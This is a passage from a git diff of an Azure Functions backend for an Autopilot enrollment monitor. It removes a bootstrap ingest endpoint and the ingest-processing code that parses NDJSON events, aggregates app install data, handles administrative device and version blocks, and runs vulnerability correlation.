entity.GetString("LatestAgentV2ExeSha256") ?? string.Empty, diff --git a/src/Backend/AutopilotMonitor.Functions/Functions/Bootstrap/BootstrapIngestEventsFunction.cs b/src/Backend/AutopilotMonitor.Functions/Functions/Bootstrap/BootstrapIngestEventsFunction.cs deleted file mode 100644 index b437c025..00000000 --- a/src/Backend/AutopilotMonitor.Functions/Functions/Bootstrap/BootstrapIngestEventsFunction.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using System.Net; -using AutopilotMonitor.Functions.Functions.Ingest; -using AutopilotMonitor.Functions.Security; -using AutopilotMonitor.Functions.Services; -using Microsoft.Azure.Functions.Worker; -using Microsoft.Azure.Functions.Worker.Http; -using Microsoft.Azure.Functions.Worker.Extensions.SignalRService; -using Microsoft.Extensions.Logging; - -namespace AutopilotMonitor.Functions.Functions.Bootstrap -{ - /// - /// POST /api/bootstrap/ingest — cert-free ingest for pre-enrollment agents. - /// Requires X-Bootstrap-Token header. Delegates to IngestEventsFunction.ProcessIngestAsync. - /// - public class BootstrapIngestEventsFunction - { - private readonly ILogger _logger; - private readonly IngestEventsFunction _inner; - private readonly TenantConfigurationService _configService; - private readonly RateLimitService _rateLimitService; - private readonly AutopilotDeviceValidator _autopilotDeviceValidator; - private readonly CorporateIdentifierValidator _corporateIdentifierValidator; - private readonly DeviceAssociationValidator _deviceAssociationValidator; - private readonly BootstrapSessionService _bootstrapSessionService; - - public BootstrapIngestEventsFunction( - ILogger logger, - IngestEventsFunction inner, - TenantConfigurationService configService, - RateLimitService rateLimitService, - AutopilotDeviceValidator autopilotDeviceValidator, - CorporateIdentifierValidator corporateIdentifierValidator, - DeviceAssociationValidator deviceAssociationValidator, - BootstrapSessionService bootstrapSessionService) - { - _logger = logger; - _inner = inner; - _configService = configService; - _rateLimitService = rateLimitService; - _autopilotDeviceValidator = autopilotDeviceValidator; - _corporateIdentifierValidator = corporateIdentifierValidator; - _deviceAssociationValidator = deviceAssociationValidator; - _bootstrapSessionService = bootstrapSessionService; - } - - [Function("BootstrapIngestEvents")] - public async Task Run( - [HttpTrigger(AuthorizationLevel.Anonymous, "post", Route = "bootstrap/ingest")] HttpRequestData req) - { - try - { - // Bootstrap-only: reject requests without X-Bootstrap-Token - if (!req.Headers.Contains("X-Bootstrap-Token")) - { - var noToken = req.CreateResponse(HttpStatusCode.Unauthorized); - await noToken.WriteAsJsonAsync(new { success = false, message = "X-Bootstrap-Token header is required" }); - return new IngestEventsOutput { HttpResponse = noToken, SignalRMessages = Array.Empty() }; - } - - var tenantId = req.Headers.Contains("X-Tenant-Id") - ? req.Headers.GetValues("X-Tenant-Id").FirstOrDefault() - : null; - - if (string.IsNullOrEmpty(tenantId)) - { - var badReq = req.CreateResponse(HttpStatusCode.BadRequest); - await badReq.WriteAsJsonAsync(new { success = false, message = "X-Tenant-Id header is required" }); - return new IngestEventsOutput { HttpResponse = badReq, SignalRMessages = Array.Empty() }; - } - - // Feature gate: bootstrap endpoints only available when explicitly enabled for this tenant - var (config, tenantExists) = await _configService.TryGetConfigurationAsync(tenantId); - if (!tenantExists || !config.BootstrapTokenEnabled) - { - return new IngestEventsOutput { HttpResponse = req.CreateResponse(HttpStatusCode.NotFound), SignalRMessages = Array.Empty() }; - } - - var (validation, errorResponse) = await req.ValidateSecurityAsync( - tenantId, _configService, _rateLimitService, - _autopilotDeviceValidator, _corporateIdentifierValidator, - _logger, bootstrapSessionService: _bootstrapSessionService, - deviceAssociationValidator: _deviceAssociationValidator); - - if (errorResponse != null) - { - return new IngestEventsOutput { HttpResponse = errorResponse, SignalRMessages = Array.Empty() }; - } - - return await _inner.ProcessIngestAsync(req, tenantId, validation); - } - catch (Exception ex) - { - _logger.LogError(ex, "Error in bootstrap ingest"); - var error = req.CreateResponse(HttpStatusCode.InternalServerError); - await error.WriteAsJsonAsync(new { success = false, message = "Internal server error" }); - return new IngestEventsOutput { HttpResponse = error, SignalRMessages = Array.Empty() }; - } - } - } -} diff --git a/src/Backend/AutopilotMonitor.Functions/Functions/Config/GetAgentConfigFunction.cs b/src/Backend/AutopilotMonitor.Functions/Functions/Config/GetAgentConfigFunction.cs index 8654319e..03be6019 100644 --- a/src/Backend/AutopilotMonitor.Functions/Functions/Config/GetAgentConfigFunction.cs +++ b/src/Backend/AutopilotMonitor.Functions/Functions/Config/GetAgentConfigFunction.cs @@ -105,7 +105,11 @@ namespace AutopilotMonitor.Functions.Functions.Config /// /// Parses the major-version from an X-Agent-Version header value. /// Accepts SemVer-ish strings like "2.0.114" or "2.0.114+abc123". - /// Missing/unparsable → returns 1 (backward-compat: very old agents may omit the header). + /// Missing/unparsable → returns 1 (backward-compat: very old agents may omit the + /// header). The V1 line is retired, so major 1 resolves to empty hashes via + /// GetAgentLine's default arm — legacy stragglers just skip their integrity check. + /// Deliberately NOT defaulting to 2: that would hand V2 hashes to V1 binaries and + /// could trigger the runtime_hash_mismatch force-update path against the wrong line. /// internal static int ParseAgentMajor(string? agentVersion) { diff --git a/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/IngestEventsFunction.Helpers.cs b/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/IngestEventsFunction.Helpers.cs deleted file mode 100644 index 95f51e29..00000000 --- a/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/IngestEventsFunction.Helpers.cs +++ /dev/null @@ -1,272 +0,0 @@ -using System.Linq; -using System; -using System.Net; -using AutopilotMonitor.Functions.Services; -using AutopilotMonitor.Shared.Models; -using Microsoft.Azure.Functions.Worker; -using Microsoft.Azure.Functions.Worker.Http; -using Microsoft.Azure.Functions.Worker.Extensions.SignalRService; -using Microsoft.Extensions.Logging; - -namespace AutopilotMonitor.Functions.Functions.Ingest -{ - /// - /// Partial: Request parsing, event normalization, app install aggregation helpers. - /// - public partial class IngestEventsFunction - { - private async Task ParseNdjsonRequest(Stream body, string? tenantId = null) - { - var config = !string.IsNullOrEmpty(tenantId) - ? await _configService.GetConfigurationAsync(tenantId) - : null; - - var maxPayloadSizeBytes = (config?.MaxNdjsonPayloadSizeMB ?? 5) * 1024 * 1024; - - // body is already gzip-decompressed by the UseRequestDecompression middleware if the - // client sent Content-Encoding: gzip — parser reads plain NDJSON. - var (sessionId, metaTenantId, events) = await NdjsonParser.ParseNdjsonStreamAsync(body, maxPayloadSizeBytes); - _logger.LogDebug("NDJSON payload parsed: {EventCount} events (limit: {LimitMB} MB)", - events.Count, config?.MaxNdjsonPayloadSizeMB ?? 5); - - return new IngestEventsRequest - { - SessionId = sessionId, - TenantId = metaTenantId, - Events = events - }; - } - - /// - /// Aggregates app install events into AppInstallSummary records - /// - private void AggregateAppInstallEvent(EnrollmentEvent evt, string tenantId, string sessionId, Dictionary summaries) - { - // Agent sends: app_install_started, app_install_completed, app_install_failed, app_download_started, download_progress - // Support both legacy (app_install_start/complete) and current agent event types - bool isRelevant = - evt.EventType == "app_install_started" || evt.EventType == "app_install_start" || - evt.EventType == "app_install_completed" || evt.EventType == "app_install_complete" || - evt.EventType == "app_install_failed" || - evt.EventType == "app_download_started" || - evt.EventType == "app_install_skipped" || - evt.EventType == "download_progress" || - evt.EventType == "do_telemetry"; - - if (!isRelevant) return; - - var appName = evt.Data?.ContainsKey("appName") == true ? evt.Data["appName"]?.ToString()?.Trim() : null; - if (string.IsNullOrEmpty(appName)) return; - - if (!summaries.TryGetValue(appName, out var state)) - { - state = new AppInstallAggregationState - { - Summary = new AppInstallSummary - { - AppName = appName, - SessionId = sessionId, - TenantId = tenantId, - StartedAt = evt.Timestamp - } - }; - summaries[appName] = state; - } - - var summary = state.Summary; - - // App metadata fields (may appear on any app_install_* event). - // Only overwrite if the incoming value is non-empty so earlier values - // from app_install_started aren't wiped by later _completed/_failed events. - if (evt.Data != null) - { - if (evt.Data.TryGetValue("appVersion", out var appVersionObj)) - { - var appVersion = appVersionObj?.ToString(); - if (!string.IsNullOrWhiteSpace(appVersion)) - summary.AppVersion = appVersion.Trim(); - } - if (evt.Data.TryGetValue("appType", out var appTypeObj)) - { - var appType = appTypeObj?.ToString(); - if (!string.IsNullOrWhiteSpace(appType)) - summary.AppType = appType.Trim(); - } - if (evt.Data.TryGetValue("attemptNumber", out var attemptObj) && - int.TryParse(attemptObj?.ToString(), out var attempt) && attempt > 0) - { - // Keep highest observed attempt (monotonic within a session) - summary.AttemptNumber = Math.Max(summary.AttemptNumber, attempt); - } - if (evt.Data.TryGetValue("installerPhase", out var phaseObj)) - { - var phase = phaseObj?.ToString(); - if (!string.IsNullOrWhiteSpace(phase)) - summary.InstallerPhase = phase.Trim(); - } - if (evt.Data.TryGetValue("exitCode", out var exitCodeObj) && - int.TryParse(exitCodeObj?.ToString(), out var exitCode)) - { - summary.ExitCode = exitCode; - } - if (evt.Data.TryGetValue("detectionResult", out var detectionObj)) - { - var detection = detectionObj?.ToString(); - if (!string.IsNullOrWhiteSpace(detection)) - summary.DetectionResult = detection.Trim(); - } - } - - switch (evt.EventType) - { - case "app_install_started": - case "app_install_start": - if (!state.InstallStartedAt.HasValue || evt.Timestamp < state.InstallStartedAt.Value) - state.InstallStartedAt = evt.Timestamp; - if (summary.Status == "InProgress" || summary.Status == string.Empty) - summary.Status = "InProgress"; - break; - - case "app_download_started": - if (!state.DownloadStartedAt.HasValue || evt.Timestamp < state.DownloadStartedAt.Value) - state.DownloadStartedAt = evt.Timestamp; - if (summary.Status == "InProgress" || summary.Status == string.Empty) - summary.Status = "InProgress"; - break; - - case "app_install_completed": - case "app_install_complete": - summary.Status = "Succeeded"; - summary.CompletedAt = evt.Timestamp; - if (summary.StartedAt != DateTime.MinValue) - summary.DurationSeconds = Math.Max(1, EventTimestampValidator.SafeDurationSeconds(summary.StartedAt, evt.Timestamp)); - break; - - case "app_install_failed": - summary.Status = "Failed"; - summary.CompletedAt = evt.Timestamp; - if (summary.StartedAt != DateTime.MinValue) - summary.DurationSeconds = Math.Max(1, EventTimestampValidator.SafeDurationSeconds(summary.StartedAt, evt.Timestamp)); - // Agent does not send errorCode/errorMessage in Data — use the event message - summary.FailureCode = evt.Data?.ContainsKey("errorCode") == true - ? evt.Data["errorCode"]?.ToString() ?? string.Empty : string.Empty; - summary.FailureMessage = evt.Data?.ContainsKey("errorMessage") == true - ? evt.Data["errorMessage"]?.ToString() ?? string.Empty : evt.Message ?? string.Empty; - break; - - case "app_install_skipped": - // Mark as succeeded (skipped = already installed / not applicable) with 0 duration. - // Empty (sentinel: no observation yet) and "InProgress" both flip to Succeeded. - if (summary.Status == "InProgress" || summary.Status == string.Empty) - summary.Status = "Succeeded"; - break; - - case "download_progress": - // Agent sends "bytesDownloaded" (not "bytes_downloaded") - var bytesKey = evt.Data?.ContainsKey("bytesDownloaded") == true ? "bytesDownloaded" - : evt.Data?.ContainsKey("bytes_downloaded") == true ? "bytes_downloaded" : null; - if (bytesKey != null && long.TryParse(evt.Data![bytesKey]?.ToString(), out var bytes)) - summary.DownloadBytes = Math.Max(summary.DownloadBytes, bytes); - break; - - case "do_telemetry": - if (evt.Data != null) - { - if (evt.Data.ContainsKey("doFileSize") && long.TryParse(evt.Data["doFileSize"]?.ToString(), out var doFs)) - { - summary.DownloadBytes = Math.Max(summary.DownloadBytes, doFs); - summary.DoFileSize = doFs; - } - if (evt.Data.ContainsKey("doTotalBytesDownloaded") && long.TryParse(evt.Data["doTotalBytesDownloaded"]?.ToString(), out var doTotalDl)) - summary.DoTotalBytesDownloaded = doTotalDl; - if (evt.Data.ContainsKey("doBytesFromPeers") && long.TryParse(evt.Data["doBytesFromPeers"]?.ToString(), out var doPeers)) - summary.DoBytesFromPeers = doPeers; - if (evt.Data.ContainsKey("doBytesFromHttp") && long.TryParse(evt.Data["doBytesFromHttp"]?.ToString(), out var doHttp)) - summary.DoBytesFromHttp = doHttp; - if (evt.Data.ContainsKey("doPercentPeerCaching") && int.TryParse(evt.Data["doPercentPeerCaching"]?.ToString(), out var doPct)) - summary.DoPercentPeerCaching = doPct; - if (evt.Data.ContainsKey("doDownloadMode") && int.TryParse(evt.Data["doDownloadMode"]?.ToString(), out var doMode)) - summary.DoDownloadMode = doMode; - if (evt.Data.ContainsKey("doDownloadDuration")) - { - var doDurStr = evt.Data["doDownloadDuration"]?.ToString() ?? string.Empty; - summary.DoDownloadDuration = doDurStr; - // Use DO's measured duration for throughput calculation (more accurate than timestamp diff) - if (TimeSpan.TryParse(doDurStr, out var doDurTs) && doDurTs.TotalSeconds >= 1) - summary.DownloadDurationSeconds = Math.Max(summary.DownloadDurationSeconds, (int)doDurTs.TotalSeconds); - } - if (evt.Data.ContainsKey("doBytesFromLanPeers") && long.TryParse(evt.Data["doBytesFromLanPeers"]?.ToString(), out var doLan)) - summary.DoBytesFromLanPeers = doLan; - if (evt.Data.ContainsKey("doBytesFromGroupPeers") && long.TryParse(evt.Data["doBytesFromGroupPeers"]?.ToString(), out var doGroup)) - summary.DoBytesFromGroupPeers = doGroup; - if (evt.Data.ContainsKey("doBytesFromInternetPeers") && long.TryParse(evt.Data["doBytesFromInternetPeers"]?.ToString(), out var doInet)) - summary.DoBytesFromInternetPeers = doInet; - if (evt.Data.ContainsKey("doBytesFromLinkLocalPeers") && long.TryParse(evt.Data["doBytesFromLinkLocalPeers"]?.ToString(), out var doLinkLocal)) - summary.DoBytesFromLinkLocalPeers = doLinkLocal; - if (evt.Data.ContainsKey("doBytesFromCacheServer") && long.TryParse(evt.Data["doBytesFromCacheServer"]?.ToString(), out var doCache)) - summary.DoBytesFromCacheServer = doCache; - if (evt.Data.ContainsKey("doCacheHost")) - summary.DoCacheHost = evt.Data["doCacheHost"]?.ToString() ?? string.Empty; - } - break; - } - - RecalculateAppDurations(state); - } - - internal static void RecalculateAppDurations(AppInstallAggregationState state) - { - var summary = state.Summary; - - // Effective start for full app duration: earliest known install/download start. - var effectiveStart = summary.StartedAt; - if (state.DownloadStartedAt.HasValue && - (effectiveStart == DateTime.MinValue || state.DownloadStartedAt.Value < effectiveStart)) - { - effectiveStart = state.DownloadStartedAt.Value; - } - - if (state.InstallStartedAt.HasValue && - (effectiveStart == DateTime.MinValue || state.InstallStartedAt.Value < effectiveStart)) - { - effectiveStart = state.InstallStartedAt.Value; - } - - if (effectiveStart != DateTime.MinValue) - { - summary.StartedAt = effectiveStart; - } - - // Download duration: from first download start to first install start. - if (state.DownloadStartedAt.HasValue && state.InstallStartedAt.HasValue && - state.InstallStartedAt.Value >= state.DownloadStartedAt.Value) - { - summary.DownloadDurationSeconds = EventTimestampValidator.SafeDurationSeconds( - state.DownloadStartedAt.Value, state.InstallStartedAt.Value); - } - - // Full duration: from effective start to completion/failure. - if (summary.CompletedAt.HasValue && summary.StartedAt != DateTime.MinValue && - summary.CompletedAt.Value >= summary.StartedAt) - { - summary.DurationSeconds = EventTimestampValidator.SafeDurationSeconds( - summary.StartedAt, summary.CompletedAt.Value); - } - } - - private async Task CreateErrorResponse(HttpRequestData req, HttpStatusCode statusCode, string message) - { - var response = req.CreateResponse(statusCode); - var errorResponse = new IngestEventsResponse - { - Success = false, - EventsReceived = 0, - EventsProcessed = 0, - Message = message, - ProcessedAt = DateTime.UtcNow - }; - await response.WriteAsJsonAsync(errorResponse); - return new IngestEventsOutput { HttpResponse = response, SignalRMessages = Array.Empty() }; - } - } -} diff --git a/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/IngestEventsFunction.Processing.cs b/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/IngestEventsFunction.Processing.cs deleted file mode 100644 index 1bdc4ae1..00000000 --- a/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/IngestEventsFunction.Processing.cs +++ /dev/null @@ -1,1198 +0,0 @@ -using System.Linq; -using System.Net; -using AutopilotMonitor.Functions.Security; -using AutopilotMonitor.Functions.Services; -using AutopilotMonitor.Functions.Services.Notifications; -using AutopilotMonitor.Functions.Services.Vulnerability; -using AutopilotMonitor.Shared.DataAccess; -using AutopilotMonitor.Shared.Models; -using AutopilotMonitor.Shared.Models.Notifications; -using Microsoft.Azure.Functions.Worker.Http; -using Microsoft.Azure.Functions.Worker; -using Microsoft.Azure.Functions.Worker.Extensions.SignalRService; -using Microsoft.Extensions.Logging; - -namespace AutopilotMonitor.Functions.Functions.Ingest -{ - /// - /// Partial: Core ingest processing logic — event classification, session updates, - /// rule analysis, Teams notifications, and SignalR message construction. - /// - public partial class IngestEventsFunction - { - /// - /// Core ingest logic: device block check, NDJSON parsing, event storage, rule engine, SignalR. - /// Called by both the cert-auth Run() method and the bootstrap wrapper. - /// - internal async Task ProcessIngestAsync(HttpRequestData req, string tenantId, SecurityValidationResult validation) - { - // --- Device block check (after security, before body decompression) --- - // Check if this device has been administratively blocked (e.g. rogue device sending excessive data). - // We read the serial number from the header (same header used by AutopilotDeviceValidator). - // Using HTTP 200 with DeviceBlocked=true so the agent does not trigger its auth-failure circuit breaker. - // - // Session-aware blocking: maintenance auto-blocks store BlockedSessionIds. If the current - // ingest is from a DIFFERENT session (new enrollment), the device is auto-unblocked. - // Kill actions and manual (whole-device) blocks are never auto-unblocked. - var serialNumberHeader = req.Headers.Contains("X-Device-SerialNumber") - ? req.Headers.GetValues("X-Device-SerialNumber").FirstOrDefault() - : null; - - IngestEventsRequest? earlyParsedRequest = null; - - if (!string.IsNullOrEmpty(serialNumberHeader)) - { - var (isBlocked, unblockAt, blockAction, blockedSessionIds) = await _blockedDeviceService.IsBlockedAsync(tenantId, serialNumberHeader); - if (isBlocked) - { - // Session-aware block: parse body to check if this is a different (new) session - if (!string.IsNullOrEmpty(blockedSessionIds)) - { - earlyParsedRequest = await ParseNdjsonRequest(req.Body, tenantId); - if (earlyParsedRequest != null && !string.IsNullOrEmpty(earlyParsedRequest.SessionId)) - { - var (stillBlocked, _, _, _) = await _blockedDeviceService.IsBlockedAsync( - tenantId, serialNumberHeader, earlyParsedRequest.SessionId); - - if (!stillBlocked) - { - // Auto-unblocked — fall through to normal processing with already-parsed request - isBlocked = false; - } - } - } - - if (isBlocked) - { - var isKill = string.Equals(blockAction, "Kill", StringComparison.OrdinalIgnoreCase); - - _logger.LogWarning( - "{Action} ingest from device: TenantId={TenantId}, SerialNumber={SerialNumber}, UnblockAt={UnblockAt}", - isKill ? "KILL signal for" : "Rejected", tenantId, serialNumberHeader, unblockAt); - - var blockedHttpResponse = req.CreateResponse(System.Net.HttpStatusCode.OK); - await blockedHttpResponse.WriteAsJsonAsync(new IngestEventsResponse - { - Success = false, - DeviceBlocked = true, - DeviceKillSignal = isKill, - UnblockAt = unblockAt, - Message = isKill - ? "Device has been issued a remote kill signal." - : "Device is temporarily blocked by an administrator.", - ProcessedAt = DateTime.UtcNow - }); - return new IngestEventsOutput - { - HttpResponse = blockedHttpResponse, - SignalRMessages = Array.Empty() - }; - } - } - } - - // --- Version block check (global, applies to all tenants) --- - var agentVersionHeader = req.Headers.Contains("X-Agent-Version") - ? req.Headers.GetValues("X-Agent-Version").FirstOrDefault() - : null; - - if (!string.IsNullOrEmpty(agentVersionHeader)) - { - var (isVersionBlocked, versionAction, matchedPattern) = await _blockedVersionService.IsVersionBlockedAsync(agentVersionHeader); - if (isVersionBlocked) - { - var isVersionKill = string.Equals(versionAction, "Kill", StringComparison.OrdinalIgnoreCase); - - _logger.LogWarning( - "Version {Action} for agent: TenantId={TenantId}, AgentVersion={AgentVersion}, MatchedPattern={Pattern}", - isVersionKill ? "KILL" : "BLOCK", tenantId, agentVersionHeader, matchedPattern); - - var versionBlockedResponse = req.CreateResponse(System.Net.HttpStatusCode.OK); - await versionBlockedResponse.WriteAsJsonAsync(new IngestEventsResponse - { - Success = false, - DeviceBlocked = true, - DeviceKillSignal = isVersionKill, - Message = isVersionKill - ? $"Agent version {agentVersionHeader} has been issued a remote kill signal (pattern: {matchedPattern})." - : $"Agent version {agentVersionHeader} is blocked by administrator (pattern: {matchedPattern}).", - ProcessedAt = DateTime.UtcNow - }); - return new IngestEventsOutput - { - HttpResponse = versionBlockedResponse, - SignalRMessages = Array.Empty() - }; - } - } - - // --- Parse NDJSON+gzip request body (only after security is cleared) --- - // If session-aware block check already parsed the body, reuse that result (stream is consumed) - var request = earlyParsedRequest ?? await ParseNdjsonRequest(req.Body, tenantId); - - if (request?.Events == null || request.Events.Count == 0) - { - return await CreateErrorResponse(req, HttpStatusCode.BadRequest, "No events provided"); - } - - if (string.IsNullOrEmpty(request.SessionId) || string.IsNullOrEmpty(request.TenantId)) - { - return await CreateErrorResponse(req, HttpStatusCode.BadRequest, "SessionId and TenantId are required"); - } - - // Ensure body TenantId matches the validated header TenantId (prevent body spoofing) - if (!string.Equals(request.TenantId, tenantId, StringComparison.OrdinalIgnoreCase)) - { - _logger.LogWarning("TenantId mismatch: header={HeaderTenantId}, body={BodyTenantId}", tenantId, request.TenantId); - return await CreateErrorResponse(req, HttpStatusCode.Forbidden, "TenantId mismatch between header and payload"); - } - - var sessionPrefix = $"[Session: {request.SessionId.Substring(0, Math.Min(8, request.SessionId.Length))}]"; - _logger.LogInformation($"{sessionPrefix} IngestEvents: Processing {request.Events.Count} events (Device: {validation.CertificateThumbprint}, Hardware: {validation.Manufacturer} {validation.Model}, Rate: {validation.RateLimitResult?.RequestsInWindow}/{validation.RateLimitResult?.MaxRequests})"); - - // Stamp server-side receive time, and authoritative TenantId/SessionId on all events. - // TenantId/SessionId come from the validated request metadata — never trust per-event agent values. - var receivedAt = DateTime.UtcNow; - StampServerFields(request.Events, request.TenantId, request.SessionId, receivedAt); - - // Sanitize agent-side timestamps: clamp out-of-range values to prevent storage/sorting issues. - // Original timestamps are preserved in OriginalTimestamp for troubleshooting. - SanitizeEventTimestamps(request.Events, receivedAt, _logger); - - // Store events in Azure Table Storage (batch write for efficiency) - var storedEvents = await _sessionRepo.StoreEventsBatchAsync(request.Events); - int processedCount = storedEvents.Count; - - // Update EventTypeIndex and DeviceSnapshot indexes (fire-and-forget, non-blocking) - var indexTenantId = request.TenantId; - var indexSessionId = request.SessionId; - var indexEvents = storedEvents.ToList(); - _ = Task.WhenAll( - _sessionRepo.UpsertEventTypeIndexBatchAsync( - indexTenantId, indexSessionId, indexEvents), - _sessionRepo.UpsertDeviceSnapshotAsync( - indexTenantId, indexSessionId, indexEvents) - ).ContinueWith(t => _logger.LogWarning(t.Exception?.InnerException, - "Index update failed (non-fatal)"), TaskContinuationOptions.OnlyOnFaulted); - - // Store IME agent version on session if detected in this batch - var imeVersionEvent = request.Events.FirstOrDefault(e => - e.EventType == "ime_agent_version" && e.Data?.ContainsKey("agentVersion") == true); - if (imeVersionEvent != null) - { - var imeVersion = imeVersionEvent.Data["agentVersion"]?.ToString(); - if (!string.IsNullOrEmpty(imeVersion)) - { - _ = _sessionRepo.UpdateSessionImeAgentVersionAsync(request.TenantId, request.SessionId, imeVersion) - .ContinueWith(t => _logger.LogWarning(t.Exception?.InnerException, - "ImeAgentVersion update failed (non-fatal)"), TaskContinuationOptions.OnlyOnFaulted); - - // Track IME version in permanent history (fire-and-forget, non-blocking) - _ = _sessionRepo.RecordImeVersionAsync(imeVersion, request.TenantId, request.SessionId) - .ContinueWith(async t => - { - if (t.IsFaulted) - { - _logger.LogWarning(t.Exception?.InnerException, - "ImeVersionHistory update failed (non-fatal)"); - } - else if (t.Result) - { - // New version discovered — log OpsEvent - await _opsEventService.RecordNewImeVersionDetectedAsync( - imeVersion, request.TenantId, request.SessionId); - } - }, TaskScheduler.Default); - } - } - - // Classify events for downstream processing - var classification = ClassifyEvents(storedEvents); - - // Store app install summaries - foreach (var summary in classification.AppInstallUpdates.Values) - { - await _metricsRepo.StoreAppInstallSummaryAsync(summary.Summary); - } - - // Extract geo-location data and merge into session row (fire-and-forget — - // subsequent event batches arrive frequently so the UI sees it almost immediately) - if (classification.DeviceLocationEvent?.Data != null) - { - var geoData = classification.DeviceLocationEvent.Data; - var geoTenantId = request.TenantId; - var geoSessionId = request.SessionId; - _ = _sessionRepo.UpdateSessionGeoAsync( - geoTenantId, - geoSessionId, - geoData.ContainsKey("country") ? geoData["country"]?.ToString() : null, - geoData.ContainsKey("region") ? geoData["region"]?.ToString() : null, - geoData.ContainsKey("city") ? geoData["city"]?.ToString() : null, - geoData.ContainsKey("loc") ? geoData["loc"]?.ToString() : null - ).ContinueWith(t => _logger.LogWarning(t.Exception?.InnerException, - "Fire-and-forget UpdateSessionGeoAsync failed"), TaskContinuationOptions.OnlyOnFaulted); - } - - // Update session status based on events - var (statusTransitioned, whiteGloveStatusTransitioned, failureReason) = await UpdateSessionStatusAsync( - request, sessionPrefix, classification); - - // A terminal batch (one that drives Succeeded/Failed) takes its RebootCount from the - // authoritative reconcile below, NOT the per-batch increment — otherwise the reboot - // events would be added by the increment AND counted by the reconcile (double-count). - // Non-terminal batches keep incrementing for a live in-flight value. - var isTerminalBatch = classification.CompletionEvent != null - || classification.FailureEvent != null - || classification.EspFailureEvent != null - || classification.GatherCompletionEvent != null; - - // Always increment event count when events were stored - if (processedCount > 0) - { - await _sessionRepo.IncrementSessionEventCountAsync( - request.TenantId, - request.SessionId, - processedCount, - classification.EarliestEventTimestamp, - classification.LatestEventTimestamp, - currentPhase: classification.LastPhaseChangeEvent?.Phase, - platformScriptIncrement: classification.PlatformScriptCount, - remediationScriptIncrement: classification.RemediationScriptCount, - rebootIncrement: isTerminalBatch ? 0 : classification.RebootCount - ); - } - - // Authoritative reboot reconcile: the LAST reboot write on terminal batches. Overwrites - // the live incremental value (self-correcting any at-least-once double-count) and runs - // even on already-terminal batch replays where UpdateSessionStatusAsync no-ops. - // Idempotent (no-ops when already correct) and fail-soft. - if (isTerminalBatch) - await _sessionRepo.ReconcileSessionRebootCountAsync(request.TenantId, request.SessionId); - - // Auto-analyze fan-out: enqueue a queue message instead of running fire-and-forget - // Task.Run inside the function. The previous in-function approach could be killed - // mid-flight by Functions scale-in (HTTP 200 returned → worker unloaded → rules - // never persisted → user had to click "Analyze Now"). The queue worker runs the - // RuleEngine in a separate invocation with retry + poison-queue semantics. - // Manual "Analyze Now" remains as the user-side fallback if the enqueue itself - // fails (producer is fail-soft and never throws on send errors). - // - // newRuleResults stays empty here — the rule engine now runs asynchronously and - // results are not available before SendWebhookNotificationsAsync below. Webhooks - // never received auto-analyze results in the previous fire-and-forget design either. - var newRuleResults = new List(); - if (classification.CompletionEvent != null || classification.FailureEvent != null) - { - await _analyzeProducer.EnqueueAsync(new AutopilotMonitor.Shared.Models.AnalyzeOnEnrollmentEndEnvelope - { - TenantId = request.TenantId, - SessionId = request.SessionId, - Reason = classification.CompletionEvent != null - ? AutopilotMonitor.Functions.Services.Analyze.AnalyzeOnEnrollmentEndHandler.ReasonEnrollmentComplete - : AutopilotMonitor.Functions.Services.Analyze.AnalyzeOnEnrollmentEndHandler.ReasonEnrollmentFailed, - EnqueuedAt = DateTime.UtcNow, - }); - } - - // Vulnerability Correlation — fire-and-forget when shutdown inventory arrives. - // Runs asynchronously so it never blocks the HTTP response to the agent. - // The report is stored in the VulnerabilityCache table (not Events) because - // it is a server-side analysis result, not an agent event. - var shutdownInventoryDetected = storedEvents.Any(e => - e.EventType == AutopilotMonitor.Shared.Constants.EventTypes.SoftwareInventoryAnalysis && - e.Data != null && - e.Data.ContainsKey("triggered_at") && - e.Data["triggered_at"]?.ToString() == "shutdown" && - e.Data.ContainsKey("chunk_index") && - Convert.ToInt32(e.Data["chunk_index"]) == 0); - - if (shutdownInventoryDetected) - { - // Capture everything we need before going async (request object may be disposed) - var capturedSessionId = request.SessionId; - var capturedTenantId = request.TenantId; - var capturedPrefix = sessionPrefix; - - // Merge all inventory chunks from this batch into a self-contained list - var allInventoryItems = new List>(); - var inventoryChunks = storedEvents - .Where(e => e.EventType == AutopilotMonitor.Shared.Constants.EventTypes.SoftwareInventoryAnalysis && - e.Data != null && - e.Data.ContainsKey("triggered_at") && - e.Data["triggered_at"]?.ToString() == "shutdown" && - e.Data.ContainsKey("inventory")) - .OrderBy(e => Convert.ToInt32(e.Data.GetValueOrDefault("chunk_index", 0))) - .ToList(); - - foreach (var chunk in inventoryChunks) - { - if (chunk.Data["inventory"] is System.Collections.IEnumerable items) - { - foreach (var item in items) - { - if (item is Dictionary dict) - allInventoryItems.Add(dict); - } - } - } - - // Detect White Glove part tag from inventory events (1 = pre-provisioning, 2 = user enrollment) - int? whiteGlovePart = null; - var firstShutdownChunk = inventoryChunks.FirstOrDefault(); - if (firstShutdownChunk?.Data != null && - firstShutdownChunk.Data.TryGetValue("whiteglove_part", out var wgPartObj)) - { - whiteGlovePart = Convert.ToInt32(wgPartObj); - } - - if (allInventoryItems.Count > 0) - { - var capturedWhiteGlovePart = whiteGlovePart; - - _ = Task.Run(async () => - { - try - { - var adminConfig = await _adminConfigService.GetConfigurationAsync(); - if (adminConfig?.VulnerabilityCorrelationEnabled != true) - return; - - using var cts = new CancellationTokenSource(TimeSpan.FromSeconds(60)); - var reportData = await _vulnerabilityCorrelation.CorrelateAsync( - capturedSessionId, capturedTenantId, allInventoryItems, cts.Token); - - if (reportData != null) - { - // Tag findings with phase label for White Glove scenarios - var phaseLabel = capturedWhiteGlovePart == 1 ? "device_setup" - : capturedWhiteGlovePart == 2 ? "user_enrollment" - : (string?)null; - - if (phaseLabel != null && reportData.ContainsKey("findings") - && reportData["findings"] is List> tagFindings) - { - foreach (var f in tagFindings) - f.TryAdd("phase", phaseLabel); - } - - // White Glove Part 2: merge with existing Part 1 report - if (capturedWhiteGlovePart == 2) - { - try - { - var existingReport = await _vulnRepo.GetVulnerabilityReportAsync( - capturedTenantId, capturedSessionId); - if (existingReport != null) - { - reportData = VulnerabilityCorrelationService.MergeReports( - existingReport, reportData, - existingPhaseLabel: "device_setup", - newPhaseLabel: "user_enrollment"); - _logger.LogInformation( - "{Prefix} WhiteGlove Part 